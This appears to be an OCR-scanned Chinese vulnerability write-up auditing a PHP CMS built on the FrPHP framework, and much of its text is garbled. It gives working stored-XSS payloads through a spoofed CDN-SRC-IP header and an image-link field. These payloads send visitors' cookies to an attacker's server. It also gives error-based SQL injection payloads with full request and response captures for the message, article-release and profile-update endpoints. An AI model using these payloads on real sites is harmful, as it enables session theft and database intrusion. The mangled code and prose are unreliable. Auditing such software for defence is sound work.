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frparam()

/FrPHP/1ib/Controller.php



// FHURL =51

public function frparam($str=null, $int=0,$default

$data = $this->_data;
if($str===null) return $data;
if(larray_key exists($str,$data)){

return ($default===FALSE)?false:$default;

if($method===null){
$value = $data[$str];
}else{
$method = strtolower($method);
switch($method){
case 'get':
$value = $ GET[$str];
break;
case 'post':
$value = $_POST[$str];
break;
case 'cookie':
$value = $_COOKIE[$str];
break;

return format_param($value,$int);

55 28 17, IREHEMRIT 7 —LAME, GreRlRt,

/FrPHP/common/Functions.php

= FALSE, $method = null){

format_param Tj_;ﬁﬂﬂ—lt .



/**
**/
function format_param($value=null,$int=0){
if($value==null){ return '';}
switch ($int){
case 0:// B4
return (int)$value;
case 1://F/f#
$value=htmlspecialchars(trim($value), ENT_QUOTES);
if(!get_magic_quotes_gpc())$value = addslashes($value);
return $value;
case 2://#141
if($value==""')return '';
array_walk_recursive($value, "array_format");
return $value;
case 3:///7:%
return (float)$value;
case 4:
if(!get_magic_quotes_gpc())$value = addslashes($value);

return trim($value);

X REARIEEE, REEREHT—LEBATIE, BAFRIBELERY switen FRH
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function index(){

if($_POST){

$w = $this->frparam();

$w = get_fields_data($w, 'message',0);

$w[ 'body'] = $this->frparam('body',1,"'", 'POST");
$w[ 'user'] = $this->frparam('user',1,"'','POST");

$w['tel'] = $this->frparam('tel',1,"'', 'POST");
$w['aid'] = $this->frparam('aid',0,0, 'POST"');
$w['tid'] = $this->frparam('tid',e,0, 'POST");

if($this->webconf['autocheckmessage']==1){

$w["isshow'] = 1;
}else{
$w["isshow'] = 0;

$w['ip'] = GetIP();
$w[ 'addtime'] = time();
if(isset($_SESSION[ 'member'])){
$w['userid'] = $_SESSION[ 'member']['id'];

......

XEEE 20 17 swl'ip'] = cetip(); , AEFERAIMENHE, FIKE cetr()
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function GetIP(){
static $ip = '';
$ip = $_SERVER[ 'REMOTE_ADDR'];
if(isset($_SERVER[ 'HTTP_CDN_SRC_IP'])) {
$ip = $_SERVER['HTTP_CDN_SRC_IP'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/~([0-91{1,3}\.){3}[0-91{1,3}$/"', $_SERV
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d
foreach ($matches[0] AS $xip) {
if (!preg_match('#7(10]172\.16]192\.168)\.#"', $xip)) {
$ip = $xip;
break;

}
}
}

return $ip;

XEEE 5 17FHHEBEXT ¢_server['HTTP_coN_src_1p'] HHTITIE, FEAIRFEL http kg
)\ conN-sre-1P FEREPET

BATATLARHIFTEE— test.php IIZREHITHIE, BALUENEEFFHHY



<?php
function GetIP(){
static $ip = '';
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_CDN SRC_IP'])) {
$ip = $_SERVER[ 'HTTP_CDN_SRC_IP'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg match('/~([@-9]1{1,3}\.){3}[0-9]{1,3}$/', $_SEI
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif(isset($_SERVER[ 'HTTP_X_FORWARDED_FOR']) AND preg match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.’
foreach ($matches[0] AS $xip) {
if (!preg_match('#7(10]172\.16]192\.168)\.#', $xip)) {

$ip = $xip;
break;
}
}
}
return $ip;
}
echo GetIP();
Request Response

Raw | Headers | Hex Raw | Headers | Hex HTMLTRender]

GET /WWW/test8.php HTTP/1.1 HTTP/1.1 200 OK

T

Host: localhost:82 Server: nginx/1.17.7

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; Date: Sat, 11 Apr 2020 00:38:26 GMT
rv:72.0) Gecko/20100101 Firefox/72.0 Content-Type: text/html; charset=UTF-8
Accept: Connection: close
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, X-Powered-By: PHP/5.6.40

*/*;9=0.8 Content-Length: 35

Accept-Language:

zh-CN, zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 <img src=x onerror=alert(1)>1212121

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Client-ip: 192.168.1.110

CDN-SRC-IP: <img src=x onerror=alert(1)>1212121



https://xzfile.aliyuncs.com/media/upload/picture/20200603192435-cdad59e4-a58c-1.png

(https://xzfile.aliyuncs.com/media/upload/picture/20200603192435-cdad59e4-a58¢-
1.png)
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......

<label for="ip">

<span>*</span>® 5 IP

</label>

<div>

<input type="text" value="{$data['ip']}" name="ip"
autocomplete="off">

</div>

</div>

......

.

%}E}j&ﬂ]ééﬂ% 9 ?5’ <input type="text" value="{$data['ip']}" name="ip" autocomplete="off"> , LZ
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"><script src="{Rfvps-ip/4.js"></script>

4.js I


https://xzfile.aliyuncs.com/media/upload/picture/20200603192435-cdad59e4-a58c-1.png

var image=new Image();

image.src="{Rvps-ip:10006/cookies.phpcookie="+document.cookie;

REFAIERES

[ Go Cancel | [ <|v ][ >Iv Target: http:/ /www.jznet |#|(2
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML Render}
POST /message/index.html HTTP/1.1 4 || HTTP/1.1 200 OK I
Host: www.__.net Server: nginx/1.17.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; Date: Sat, 11 Apr 2020 01:14:43 GMT
rv:72.0) Gecko/20100101 Firefox/72.0 Content-Type: text/html; charset=UTF-8
Accept: Connection: close
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, X-Powered-By: PHP/5.6.40
*/*;0=0.8 Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
Accept-Language: Cache-Control: no-store, no-cache, must-revalidate,
zh-CN, zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 post-check=0, pre-check=0
Accept-Encoding: gzip, deflate Pragma: no-cache
Content-Type: application/x-www-form-urlencoded | Set-Cookie: PHPSESSID=dc67dvcmsbhdmkgsem9mlibfn7; expires=Sat,
Content-Length: 45 11-Apr-2020 02:14:43 GMT; Max-Age=3600; path=/
Origin: http://www. z.net Content-Length: 397
Connection: close
Referer: http://www., :.net/msg.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
Cookie: PHPSESSID=dc67dvcmsbhdmkgsem9mlibfn7 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html
Upgrade-Insecure-Requests: 1 xmlns="http://www.w3.0rg/1999/xhtml"><head><meta
CDN-SRC-IP: <script src="http://7"" "T.2_.__ .//4.js"></script> http-equiv="Content-Type" content="text/html; charset=utf-8"

/></head><body><script

tid=4&user=1&title=18&tel=13011111111&body=123 type=text/javascript>alert("{2RXMIN! HIIERREEME! ");window.1

ocation.href="http://www.® .net";</script></body></html>

(https://xzfile.aliyuncs.com/media/upload/picture/20200603192437-cf0c1992-a58c-
1.png)
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switch($w[ 'molds']){
case 'article':
if(!$data[ 'body']){

if($this->frparam('ajax")){
JsonReturn(['code'=>1, 'msg'=>"' NHERFAT! ']);
}else{

Error(' WAEARBENZT! ');

}
if(1$data[ 'title']){
if($this->frparam('ajax"')){
JsonReturn(['code'=>1, 'msg'=>"tEAFENZT! ' ]);
}else{

Error("fREEANRENT L ');

}

$data[ 'body'] = $this->frparam('body',4);

$w['title'] = $this->frparam('title',1);

$w['seo_title'] = $w['title'];

$w[ 'keywords'] = $this->frparam('keywords',1);
$w['litpic'] = $this->frparam('litpic’',1);

$w[ 'body'] = $data['body'];

$w[ "description'] = newstr(strip_tags($data['body']),200);

break;
case 'product':
if(!$data[ 'body']){
if($this->frparam('ajax")){
JsonReturn(['code'=>1, 'msg'=>' WAEMNGNTE! ']1);
}else{
Error(* WEMNRENZ! *);

}
if(!$data['title’]){



if($this->frparam('ajax')){
JsonReturn(['code'=>1, 'msg'=>"FRAIANGEANT! ']);
}else{

Error("FREAGE N 1);

}
$w['title'] = $this->frparam('title’',1);

$w['seo_title'] = $w['title'];
$w['litpic'] = $this->frparam('litpic’',1);
$w[ 'keywords'] = $this->frparam('keywords',1);
$w[ 'pictures'] = $this->frparam('pictures',1);
if($this->frparam('pictures_urls',2)){

$w['pictures'] = implode('||',$this->frparam('pictures_urls',2));
}
$data[ 'body'] = $this->frparam('body',4);
$w[ 'body'] = $data['body'];
if($this->frparam('description',1)){

$w[ 'description'] = $this->frparam('description',1);
}else{

$w[ 'description'] = newstr(strip_tags($data['body']),200);

break;

default:

break;

%LE&“]E?&‘{I\?BHT frparam E&k&, ﬁEL‘)\J‘ZEKﬁEE
28 22 1T $w['litpic’'] = $this->frparam('litpic',1);

EAFARIFILEECE get_magic_quotes_gpe , FTLAXEREISRNRIASHT
T htmlspecialchars ﬂ] addslashes ﬂ‘f@, %Eﬁ{l]ﬁg%ﬁﬁgg,ﬁ, @?JE%
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/A/t/tpl/article-list.html KEEIBARLNEIUEIE 147 17E85 153 17, 0T

<script type="text/html">
{{# if(!d.litpic){ }}
7

{{# 1} else{ }}
<a href="{{d.litpic}}" target="_blank"><img src="{{d.litpic}}" width="100px" /></a>

# 1

</script>
FEEIRKERBE 5 (THEIEFAEIE
FLAFAJ#31& payload:

javascript:window.location.href="{RIjvps-ip?'%2Bdocument.cookie
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Request

J RawT Params T Headers T Hex }

POST /user/release.html HTTP/1.1

Host: www., .net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15;
rv:72.09) Gecko/20100101 Firefox/72.0©

Accept: application/json, text/javascript, */*; g=0.01
Accept-Language:
zh-CN,zh;g=0.8,zh-TW;qgq=0.7,zh-HK;q=0.5,en-US;g=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 189

Origin: http://www., ..net

Connection: close

Referer: http://www. ™ = _/user/release.html

Cookie: PHPSESSID=4g9i5qfjcs39pjstrd4oj3venh4d

T

ajax=1&isshow=&molds=article&tid=2&title=1&keywords=1&litpic=7java
script:window.location.href="http:/ /== =m = W . :10007?'%2Bdocu
ment.cookie&description=1&body=%3Cp%3E1%3Cbr%2F%3E%3C%2Fp%3E

(https://xzfile.aliyuncs.com/media/upload/picture/20200603192440-d0e64152-a58c-
1.png)
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E /Home/c/UserController.php EFIEI’\J userinfo() Tj_;i, j(é’\]% 129 '?i', 9&%@1‘%{359[]']3

function userinfo(){
$this->checklogin();
if($_POST){
$w = $this->frparam();
$w['tel'] = $this->frparam('tel',1);
$w[ 'pass'] = $this->frparam('password',1);

$w[ 'sex'] = $this->frparam('sex',0,0);

$w[ 'repass'] = $this->frparam('repassword’',1);

$w[ 'username'] = $this->frparam('username’,1);

$w['email’'] = $this->frparam('email’',1);

$w['litpic'] = $this->frparam('litpic’',1);

$w[ 'signature'] = $this->frparam('signature’,1);

......

£ LIAMURBRISE 11 17, EFERIERERIERE,
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,cols: [[ /&%

w #tEMER

{field: 'id', title: 'ID', width:50, sort: true, fixed:'left'}
,{type: 'checkbox"'}

,{field: 'isshow', title: "{R#&',width: 100,templet: '#isshow'}
,{field: 'username', title: 'Fi/"4',width: 150, sort: true}
,{field: 'new_gid', title: '4r4l',width:150}

,{field: 'tel', title: 'FHl5',width:200, sort: true}
,{field: 'email', title: 'H[F#H',width:150, sort: true}
,{field: 'new_litpic', title: '3kf%',width:150}

,{field: 'jifen', title: '#4r',width:150}

,{field: 'money', title: '&#i',width:150}

{foreach $fields_list as $v},{field: '{$v['field']}',width:150, title: '{$v['fieldn

,{field: 'new_regtime', title: 'JIAN}[A]',width:160}

,{field: 'new_logintime', title: '&XH|[A]',width:160}
{if(checkAction('Member/memberedit') || checkAction('Member/member _del'))}
,{field: '', title: '#/F',width:260, toolbar: '#rightbar', fixed:'right'}
{/if}

FNS HRFE k&
13012341234 10@qg.com =

13017704853 1@gqg.com 7T
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function index(){

if($_POST){

$w = $this->frparam();

$w = get_fields_data($w, 'message',0);

$w[ 'body'] = $this->frparam('body',1,"'", 'POST");
$w[ 'user'] = $this->frparam('user',1,"'','POST");

$w['tel'] = $this->frparam('tel',1,"'','POST");
$w['aid'] = $this->frparam('aid',0,0, 'POST");
$w['tid'] = $this->frparam('tid’',e,0, 'POST");

if($this->webconf['autocheckmessage']==1){

$w['isshow'] = 1;
}else{
$w["isshow'] = 0;

$w['ip'] = GetIP();
$w[ 'addtime'] = time();
if(isset($_SESSION[ 'member'])){
$w['userid'] = $_SESSION[ 'member']['id'];

......

XEEE 20 17 swl'ip'] = cetip(); , AEERAIMENIHE, FIKE cetr()

/FrPHP/common/Functions.php

Y4



function GetIP(){
static $ip = '';
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_CDN SRC_IP'])) {
$ip = $_SERVER['HTTP_CDN_SRC_IP'];

} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/~([0-9]1{1,3}\.){3}[0-9]1{1,3}$/', $_SERVI

$ip = $_SERVER['HTTP_CLIENT_IP'];

} elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d-

foreach ($matches[0] AS $xip) {
if (!preg_match('#7(10]172\.16]192\.168)\.#"', $xip)) {
$ip = $xip;
break;

}
}
}

return $ip;

XEEE 5 17HHEBEXT ¢_server['HTTP_coN_src_1p'] HHTITIE, FEAIRFEL http LPg
)\ conN-sre-1P FEREPET
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XEHAFEEEAT.

%Eﬁﬂ]g%giﬂﬁﬁ, E /Home/c/MessageController.php EF'E’\J% 76
1T $res = M('message’)->add($w); , X add JIiARE Frohp FEZREY—MENSIERTDE
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// FHEE
public function add($row)
{
if(!is_array($row))return FALSE;
$row = $this->__ prepera_format($row);
if(empty($row))return FALSE;
foreach($row as $key => $value){
if($value!==null){
$cols[] = $key;
$vals[] = '"\''.$value."'\'";

}

$col = join(',', $cols);
$val = join(',', $vals);
$table = self::$table;
$sql = "INSERT INTO {$table} ({$col}) VALUES ({$val})";
if( FALSE != $this->runSql($sql) ){
if( $newinserid = $this->db->lastInsertId() ){
return $newinserid;
}else{
$a=$this->find($row, "{$this->primary} DESC",$this->primary);

return array_pop(%$a);

¥
return FALSE;

B, F 101789 svarve BefiTAE (RIERY ip AlE) , MBEXBHHKEIIHBENLIRERVETE
BHTIEIE, ATLUXEFTE sql iEN, XEATLAEEHTIRIEEN
HIRHRIAF payload:

2' and extractvalue(@x@a,concat(@x0a, (select user()))) and '1
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POST /message/index.html HTTP/1.1 4 | HTTP/1.1 200 OK

Host: www.” ..net Server: nginx/1.17.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; Date: Fri, 10 Apr 2020 23:17:32 GMT
rv:72.0) Gecko/20100101 Firefox/72.0 Content-Type: text/html; charset=UTF-8
Accept: Connection: close
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, X-Powered-By: PHP/5.6.40
*/*;0=0.8 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept-Language: Cache-Control: no-store, no-cache, must-revalidate,
zh-CN, zh;q=0.8,zh-TW;q=0.7,zh-HK;g=0.5,en-US;q=0.3,en;q=0.2 post-check=0, pre-check=0
Accept-Encoding: gzip, deflate Pragma: no-cache
Content-Type: application/x-www-form-urlencoded Set-Cookie: PHPSESSID=dc67dvcmsbhdmkgsem9mlibfn7; expires=Sat,
Content-Length: 45 11-Apr-2020 00:17:32 GMT; Max-Age=3600; path=/
Origin: http://www._ _.net Content-Length: 277
Connection: close
Referer: http://www.i..net/msg.html HIRERRTR: <br/>EIBEEFEIR: XPATH syntax error:
Cookie: PHPSESSID=dc67dvcmsbhdmkgsem9mlibfn7 _4 root@localhost'INSERT INTO g7_message
Upgrade-Insecure-Requests: 1 (title,tid,aid,user,ip,body,tel,addtime,isshow) VALUES
CDN-SRC-IP: 2' and extractvalue(©@x@a,concat(0x0a, (select ('1','4",'0','1','2" and extractvalue(@x@a,concat(@x0a, (select
user()))) and '1 user()))) and '1','123','13011111111",'1586560652','0")
tid=4&user=1&title=1&tel=13011111111&body=123

b

(https://xzfile.aliyuncs.com/media/upload/picture/20200603192442-d1d4c53e-a58c-
1.png)

FE2hk sql SEAN

/Home/c/UserController.php ':F'E’\J release 7’3‘5£EPE’99€€§£1J€6E5§1D‘F



https://xzfile.aliyuncs.com/media/upload/picture/20200603192442-d1d4c53e-a58c-1.png

1/ XER M HANEX
function release(){
$this->checklogin();
error_reporting(E_ALL"~E_NOTICE);

if($_POST){
$data = $this->frparam();

$w['tid'] = $this->frparam('tid');
if(I$wl"tid']){
if($this->frparam('ajax")){
JsonReturn(['code'=>1, 'msg'=>"iHikFEHE! '1);
}else{
Error("THIERSHK! 1);

}
$w[ 'molds'] = $this->classtypedata[$w[ 'tid']]['molds'];

$w = get_fields_data($data,$w[ 'molds']);

........

if($this->frparam('id')){
$a = M($w[ 'molds’'])->update(['id'=>$this->frparam('id"')],$w);

EIRMCHEEE 7 17 $data = $this->frparam() , frparam() FERIEICERT 1, XEMABRER
27
2

XEBERAFEER, MNRZ post EHIAY, BIRIETE post RIE, FHEARHTIIIE.

RIS 11 4TS swl'tid'] = sthis->frparam('tid’); , XESEWSHEN 1 BE, FES
BHT return (int)$value; RME, IXFHEAN 1 HIATTY, BRIZXKER, HIEEES 21
?ﬁ' $w = get_fields_data($data,$w[ 'molds']); , ﬁ'fl\]@,ﬁﬂ—? get_fields_data() Tj_;f



/Conf/Functions.php



function get_fields_data($data,$molds,$isadmin=1){
if($isadmin){
$fields = M('fields')->findAl1l(['molds'=>$molds, 'isadmin'=>1], 'orders desc,id asc');
}else{
/1 B 6 i B2 2 T o
$fields = M('fields')->findAll(['molds'=>$molds, 'isshow'=>1], 'orders desc,id asc');

}
foreach($fields as $v){

if(array_key exists($v['field'],$data)){
switch($v['fieldtype']){
case 1:
case 2
case 5
case 7:
case 9
case 12:
$data[$v[ 'field']]

format_param($data[$v['field']],1);
break;

case 11:
$data[$v['field']]

strtotime(format_param($data[$v['field']1],1));
break;

case 3:

$data[$v['field']] = format_param($data[$v['field']],4);

break;

case 4:

case 13:

$data[$v['field']] = format_param($data[$v['field']]);

break;

case 14:
$data[$v['field']]

break;

format_param($data[$v['field']],3);

case 8:
$r = implode(',"',format_param($data[$v['field']],2));
1F($r1="")q

$ro= ", 8000



$data[$v['field']] = $r;

break;

}
}else if(array_key exists($v['field'].' _urls',$data)){

switch($v['fieldtype']){

case 6:
case 10:
$data[$v['field']] = implode('||"',format_param($data[$v['field']. ' _urls']1,2));
break;
¥
}else{
$data[$v['field']] = '';

}

return $data;

RABATAR admin, FRLABAISHITS 6 171C

ﬁ% $fields = M('fields"')->findAll(['molds'=>$molds, 'isshow'=>1], 'orders desc,id asc');

X3 post (EASEL, fE@ERAY debug T—T, WIF

if($isadmin){ $isadmin: 1

$fields = M('fields')->findAl1l(['molds'=>$molds, 'isadmin'=>1], 'orders desc,id asc'); $fields: [0]
}else{

//AIEREH IR RRAET

$fields = M('fields')->findAl1l(['molds'=>$molds, 'isshow'=>1], 'orders desc,id asc'); $molds: "article"


https://xzfile.aliyuncs.com/media/upload/picture/20200603192442-d1fea570-a58c-1.png

(https://xzfile.aliyuncs.com/media/upload/picture/20200603192442-d1fea570-a58c-
1.png)

FRLAEIRCES sfields[ field'] BAMAER, FRLARSHITSE 51 178

5 sdata[gv['field']1] = ''; , FFLASE 56 TIREIAVCIEHLZE sdata = $this->frparam(); , IXEL
R T ATARERT vip TR, EAHTARBKAERRFEIN, XMZENTENFTA
KR,

RIEFAZERIE wpdate) TTiE

/FrPHP/1ib/Model.php


https://xzfile.aliyuncs.com/media/upload/picture/20200603192442-d1fea570-a58c-1.png

1/ B

public function update($conditions, $row)

{

wn o,
3

$where =
$row = $this->__ prepera_format($row);
if(empty($row))return FALSE;
if(is_array($conditions)){
$join = array();
foreach( $conditions as $key => $condition ){
$condition = '\''.$condition.'\"'";
$join[] = "{$key} = {$condition}";

}
$where = "WHERE ".join(" AND ",$join);

}else{

if(null != $conditions)$where = "WHERE ".$conditions;

}

foreach($row as $key => $value){
if($value!==null){

$value = '\''.$value.'\'’;

$vals[] = "{$key} = {$value}";
}else{
$vals[] = "{$key} = null";

}

$values = join(", ",$vals);

$table = self::$table;

$sql = "UPDATE {$table} SET {$values} {$wherel}";
return $this->runSql($sql);



/Home/c/UserController.php KHEECIZHHISE 25-26 17, BIA 25 1T if($this->Frparam('id'))

Xt id BT TR, B2 26 17 $a = M($w['molds'])->update(['id’=>$this->Frparam('id')],$w); IX
B update FRANHIRRIFIGHIEUE, , = tBELE $w = get_fields_data($data,$w[ 'molds']); . ER

#X sconditions BRI T, EEAFMEATEN.,

FTLAUXERRY id , molds , tid =NFEEBFLE sql iEA

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /user/release.html HTTP/1.1 [ HTTP/1.1 200 OK
Host: www. _ .net Server: nginx/1.17.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:72.0) Date: Wed, 03 Jun 2020 11:19:47 GMT
Gecko/20100101 Firefox/72.0 Content-Type: text/html; charset=UTF-8
Accept: application/json, text/javascript, */*; gq=0.01 Connection: close
Accept-Language: X-Powered-By: PHP/5.6.40
zh-CN, zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept-Encoding: gzip, deflate Cache-Control: no-store, no-cache, must-revalidate,
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 post-check=0, pre-check=0
X-Requested-With: XMLHttpRequest Pragma: no-cache
Content-Length: 182 Set-Cookie: PHPSESSID=uobgqa384u8054hktnglb9dn33;
Origin: http://www.® . .net expires=Wed, ©3-Jun-2020 12:19:47 GMT; Max-Age=3600; path=/
Connection: close Content-Length: 413
Referer: http://www. -...net/user/release/id/43/molds/article.html
Cookie: PHPSESSID=uobgga384u8@54hktnglbdn33 HIRMERIRT: <br/>EUBERIR: XPATH syntax error:
‘~root@localhost~'UPDATE ' :_article SET id = '43' or
ajax=1&1d=43"' or (updatexml(1,concat(@x7e,(select (updatexml(1,concat(@x7e, (select user()),0x7e),1)) or "',
user()),0x7e),1)) or title = 'niubi', tid = '2', molds = ‘'article', htmlurl =
‘&isshow=0&molds=article&tid=2&title=niubi&keywords=niubi&litpic=8&d ‘xinwen', keywords = 'niubi', description = 'niubi’,
escription=niubi&body=%3Cp%3Eniubi%3C%2Fp%3E seo_title = 'niubi', litpic = null, body = '<p>niubi</p>',
addtime = '1591183187', isshow = '@', member_id = '3' WHERE
id = '43"
b
v

(https://xzfile.aliyuncs.com/media/upload/picture/20200603192443-d249febc-a58c-
1.png)
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Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

POST /user/release.html HTTP/1.1
Host: www._ ..net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:72.0)
Gecko/20100101 Firefox/72.0

Accept: application/json, text/javascript, */*; g=0.01
Accept-Language:

zh-CN, zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 182
Origin: http://www. 78
Connection: close
Referer: http://www.Z 27.net/user/release/id/43/molds/article.html
Cookie: PHPSESSID=uobgga384u8054hktnglbodn33

.net

ajax=1&id=43&isshow=0&molds=article"' or
(updatexml(1,concat(ex7e, (select user()),0x7e),1)) or
'&tid=2&title=niubi&keywords=niubi&litpic=&description=niubi&body=%
3Cp%3Eniubi%3C%2Fp%3E

Request

Raw | Params | Headers | Hex

v

—*

T

HTTP/1.1 200 OK

Server: nginx/1.17.7

Date: Wed, ©3 Jun 2020 11:20:49 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

X-Powered-By: PHP/5.6.40

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: PHPSESSID=uobgqa384u8054hktnglb9dn33;
expires=Wed, ©3-Jun-2020 12:20:49 GMT; Max-Age=3600; path=/
Content-Length: 257

HIRMERRT: <br/>EIEESEIR: XPATH syntax error:
‘~root@localhost~'SELECT * FROM “:_fields WHERE tids like
'%,2,%' and molds = 'article' or
(updatexml(1,concat(@x7e, (select user()),0x7e),1)) or '' and
isshow=1 ORDER BY orders desc,id asc

(https://xzfile.aliyuncs.com/media/upload/picture/20200603192443-d2972c0a-a58¢-
1.png)

Response

Raw | Headers | Hex

POST /user/release.html HTTP/1.1

Host: www._ 7.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:72.0)
Gecko/20100101 Firefox/72.0

Accept: application/json, text/javascript, */*; g=0.01
Accept-Language:

zh-CN, zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 182

Origin: http://www.;. .net
Connection: close
Referer: http://www., _..net/user/release/id/43/molds/article.html

Cookie: PHPSESSID=uobgqa384u8054hktnglb9dn33

ajax=1&id=43&isshow=0&molds=article&tid=2" or
(updatexml(1,concat(@x7e, (select user()),0x7e),1)) or
‘&title=niubi&keywords=niubi&litpic=&description=niubi&body=%3Cp%3E
niubi%3C%2Fp%3E

T

4

HTTP/1.1 200 OK

Server: nginx/1.17.7

Date: Wed, ©3 Jun 2020 11:21:43 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

X-Powered-By: PHP/5.6.40

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: PHPSESSID=uobgqa384u8054hktnglb9dn33;
expires=Wed, ©3-Jun-2020 12:21:43 GMT; Max-Age=3600; path=/
Content-Length: 257

FBIREEIRT: <br/>BUEEIR: XPATH syntax error:
'~root@localhost~'SELECT * FROM -~~_fields WHERE tids like
'%,2' or (updatexml(l,concat(@x7e,(select user()),0x7e),1))
or ',%' and molds = 'article' and isshow=1 ORDER BY
orders desc,id asc

(https://xzfile.aliyuncs.com/media/upload/picture/20200603192444-d2e493c8-a58¢-
1.png)
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FE=4 sql S EAN

/Home/c/UserController.php EFIE]’\J userinfo() Hiidﬂﬁ’ﬂ?&’f‘ﬁﬁﬁ%ﬁﬂ?

function userinfo(){

........

e
=
=

$this->checklogin();
if($_POST){

$w = $this->frparam();

$w['tel'] = $this->frparam('tel',1);

$w[ 'pass'] = $this->frparam('password',1);

$w[ 'sex'] = $this->frparam('sex',0,0);

$w[ 'repass'] = $this->frparam('repassword',1);
$w[ 'username'] = $this->frparam('username’,1);
$w[ 'email'] = $this->frparam('email’,1);
$w['litpic'] = $this->frparam('litpic',1);

$w[ 'signature'] = $this->frparam('signature’',1);

$w = get_fields_data($w, 'member',0);

$re = M('member')->update(['id'=>$this->member['id']],$w);
$member = M('member')->find(['id'=>$this->member['id']1]);
unset($member[ 'pass’']);
$_SESSION[ 'member'] = array_merge($_SESSION[ 'member'], $member);
if($this->frparam('ajax")){

JsonReturn(['code'=>0, 'msg"'=>"f&ZULII! '1);
}
Error( " EU8Ih! ');

XEHATRILL— T3 post MBEMNFER, BIAIME 3 M FRIKBHTIE,

province _ city . address QE/P$E§


https://xzfile.aliyuncs.com/media/upload/picture/20200603192444-d311b3ee-a58c-1.png

NnuyuwoIu

j Raw T Params T Headers T Hex ]

POST /user/userinfo.html HTTP/1.1

Host: www._  “.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15;
rv:72.0) Gecko/20100101 Firefox/72.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,
*¥/*%;,0=0.8

Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=9.7,zh-HK;g=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 157

LN

Origin: http://www. .het
Connection: close
Referer: http://www. .net/user/userinfo.html

Cookie: PHPSESSID=8jiqfscff@7vivc1@vil9ﬁfu26
Upgrade-Insecure-Requests: 1

litpic=&file=&username=130123412348&tel=130123412348&email=2@qq.co
m&sex=1&province=1&city=8&address=8&password=&repassword=&signatur
e=1&submit=%E6%8F%90%E4%BA%AL

(https://xzfile.aliyuncs.com/media/upload/picture/20200603192444-d311b3ee-a58c-
1.png)

%E% 17 *?i’ $re = M('member')->update(['id'=>$this->member['id']],$w); Fﬁﬁ?ﬁﬁ{&lﬂ%}i update
BT, FUXEMEFETIEN, E2—MREEIN, NRAERRETREXEN, XBFE
HEEE, EEILLEAR

payload:


https://xzfile.aliyuncs.com/media/upload/picture/20200603192444-d311b3ee-a58c-1.png

province FEZE7

1' or (updatexml(1,concat(@x7e,(select user()),0x7e),1)) or '

Raw | Params | Headers | Hex Raw | Headers | Hex
Host: www._ Il .net HTTP/1.1 200 OK

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10.15;
rv:72.0) Gecko/20100101 Firefox/72.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,
*/*;0=0.8

Accept-Language:

zh-CN, zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 219
Origin: http://www._
Connection: close
Referer: http://www._ “.net/user/userinfo.html
